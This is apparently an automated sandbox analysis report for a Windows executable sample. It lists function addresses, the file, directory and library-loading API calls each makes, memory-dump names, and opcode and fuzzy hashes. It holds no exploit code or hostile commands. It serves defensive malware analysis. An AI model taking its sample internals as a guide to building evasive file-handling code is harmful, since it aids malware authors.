Opcode ID: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction ID: d0734d5c7e5939215d37afae748a6b456316f2180b0855a0f59ce99ff0d6cfc1
Opcode Fuzzy Hash: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction Fuzzy Hash: C0E0E572640704A6C7209F65D8559877BE8EF00385B10C43FF548D6150E779E5508BD8

Function 004058CD Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004058D2

Part of subcall function 00405806: __EH_prolog.LIBCMT ref: 0040580B

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction ID: 5bfd618a99589873673dbdde5608ad138896477ef474a485a6b18cf586c7d2b5
Opcode Fuzzy Hash: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction Fuzzy Hash: E7E01A72D410049ACB05BB95E9526EDB778EF51319F10403BA412725919B785E18CA58

Function 00405C87 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00405CAA

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction ID: 646c0e8b7f70081892c45aa98fa77e415187d9694f298a279afc83584de54578
Opcode Fuzzy Hash: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction Fuzzy Hash: F8E0E575600208FFCB11CF95C801B8E7BF9EB09364F20C069F914AA260D339EA50DF54

Function 004057CF Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(000000FF,?,00000000), ref: 004057E2

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction ID: a758ab2b17ce6f49d488120cb08fd5c978c50398f8c9baf96463bb2a7ddcf629
Opcode Fuzzy Hash: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction Fuzzy Hash: 7CD0C231140009ABC711EB21DC41EEA33ADEB04348F144075AA495B1B0EA319D489F54

Function 00405841 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004055DE: __EH_prolog.LIBCMT ref: 004055E3
Part of subcall function 004055DE: FindFirstFileW.KERNELBASE(?,?), ref: 00405611

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FindH_prolog$CloseFileFirst
String ID:
API String ID: 2004497850-0
Opcode ID: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction ID: b7fde63f1f0c292b4e5d00ec8c3d5d27a79480d2707f186765d0e2b5b752fd38
Opcode Fuzzy Hash: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction Fuzzy Hash: 7CE04FB1951506ABCB14DF50CC52AEEB734FB1131CF10421EE021722D08B785648CA28

Function 00405806 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040580B

Part of subcall function 0040553A: FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Find$CloseFileFirstH_prolog
String ID:
API String ID: 889498515-0
Opcode ID: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction ID: 15a52a3ac40e1f9f01e416ae3406c700f8aec04b6379e90cb97043f6baa550c5
Opcode Fuzzy Hash: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction Fuzzy Hash: 2AE01AB195150AAACB04DB50CC52AEEB760EB1131CF00421AA421722D0877856488A28

Function 0040F8C3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040F648: __EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction ID: 6b40bdca6a02cd8c303c1b1c800ac92429027f894e9b325ac65d5e69f4ab0667
Opcode Fuzzy Hash: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction Fuzzy Hash: 0CD01272911104EBD711AB49D842BDEBB68EB8135DF10853BF00171550C37D56459569

Function 00405B7B Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(000000FF,00000000,?,?,00000000,000000FF,?,00405BC6,00000000,?,00000000,?,00405BEC,00000000,?,00000000), ref: 00405B91

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction ID: c5e24743f6b433bb21cc94cc2971fe47eb8403274bd7f90fdb54931116458873
Opcode Fuzzy Hash: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction Fuzzy Hash: 7EE0EC75241208FBCB01CF90CD01FCE7BB9EB49754F208058E90596160D375AA14EB54

Function 0040551A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction ID: 986561ebb0227da743eeb2b9ec995cdcc659c9848a972ac8d271436d9e92df52
Opcode Fuzzy Hash: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction Fuzzy Hash: 6BD0123150452166CF745E3C7C459C333D99A123B03660BAAF4B4D32E5D3748CC35AD4

Function 00405A63 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,00405A2C,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A6E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction ID: 8a38a6d9813b312501c47e0c29c9a2f8cf12ac5fa7676fc4773f80372e0f1af5
Opcode Fuzzy Hash: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction Fuzzy Hash: 5CD0C93160462146CA645E3C7C849D737D89A16330325176AF0B5D22E4D3748D875E94

Function 00404BDC Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

DeleteFileA.KERNELBASE(?,?,00404DBF,?,00000000,?,?,?,?,?,00000000), ref: 00404BED

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction ID: 9a45e8f854b003a178289988cc7fc064ae5902da4cc88310474d582750e90668
Opcode Fuzzy Hash: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction Fuzzy Hash: 0BC08C26209231439A043ABA3805ACB171E0EC122030AC0BBB800A2059CB288DC221DC

Function 00405C5A Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,00405C84,00000000,00000000,?,00402E12,?), ref: 00405C68

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction ID: 87fe90df0bd66b56430cb58ce5188ab21e49bedd0782b4bf3c7b48ca6ef22eff
Opcode Fuzzy Hash: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction Fuzzy Hash: 8EC04C36158105FF8F020F70CC04C5EBFA2EB99711F10C918B269C40B0C7328024EB02

Function 0040489C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction ID: c0231da6564a4fbd22ddd4f059f5cfeb57e5ba4ab4dd36146b68eeddd1056acd
Opcode Fuzzy Hash: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction Fuzzy Hash: 5BA002A03112059BA6145B315E0AB6F296DEDC9AE1705C56C7412C5060EB29C9505565

Function 0040498D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction ID: 18df801fa9cda183c38834b8287032c54ef98b8f5de1dc60049a64e9909c76fe
Opcode Fuzzy Hash: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction Fuzzy Hash: DCA0223030030283E2200F320E0AB0F280CAF08AC0F00C02C3000C80E0FB28C000008C

Function 004048AA Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNELBASE(?,00404D27,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 004048AB

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction ID: 8a2519b774f471bade5b05e48f192836a719b77eeaa2736f11b150acbb720719
Opcode Fuzzy Hash: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction Fuzzy Hash: E7A002603112058796241B315F0968F295D9D455D1706C5696516C4060DB29C5505555

Function 004070AC Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 004070DD

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: f2ff9836336f67d9ff12deaf62cc92e2eac5b33916cf9d308384194b51d8e0a8
Instruction ID: e1c64c6d5edf12e6328a1e744b201271d318d100f8e499d88b0975d8390c0fb0
Opcode Fuzzy Hash: f2ff9836336f67d9ff12deaf62cc92e2eac5b33916cf9d308384194b51d8e0a8
Instruction Fuzzy Hash: AEF0BE32A041849BCF11DFA0C80898A7F61FF55310B0084ABF905A7251C7359C10DF61

Non-executed Functions

Function 00418320 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041795A,?,Microsoft Visual C++ Runtime Library,00012010,?,0041BD2C,?,0041BD7C,?,?,?,Runtime Error!Program: ), ref: 00418332
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041834A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041835B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00418368

Strings

GetActiveWindow, xrefs: 00418355
GetLastActivePopup, xrefs: 0041835D
user32.dll, xrefs: 0041832D
MessageBoxA, xrefs: 00418344

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction ID: e87ed1bb16eb8be6f8b96595097180185a60ce52c98033cfd4ddfb8cddd90555
Opcode Fuzzy Hash: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction Fuzzy Hash: C50179713002057F87209FB59C80A9B7AF4EB44B45318003EB558C3251DB6DCFC29BE9

Function 0041584A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015804), ref: 0041584F

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
Instruction ID: 76677b13eed7a87b3dd700732a0fedcf1c6828d453a24416ba8446ce1f8cc847
Opcode Fuzzy Hash: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
Instruction Fuzzy Hash: 6CA022F0280300CF8B00AF20AC082C03E30F28830330000B3B80080238CF380388CA2C

Function 0041585C Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00415861

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
